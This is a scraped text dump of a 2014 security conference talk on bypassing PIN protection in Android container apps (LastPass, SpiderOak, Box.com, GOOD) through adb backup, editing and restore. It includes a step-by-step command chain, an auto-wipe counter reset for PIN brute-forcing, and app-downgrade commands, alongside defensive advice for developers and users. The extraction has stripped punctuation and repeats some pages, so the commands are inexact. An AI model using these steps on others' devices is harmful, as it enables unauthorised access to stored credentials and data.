  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 85: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 86: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
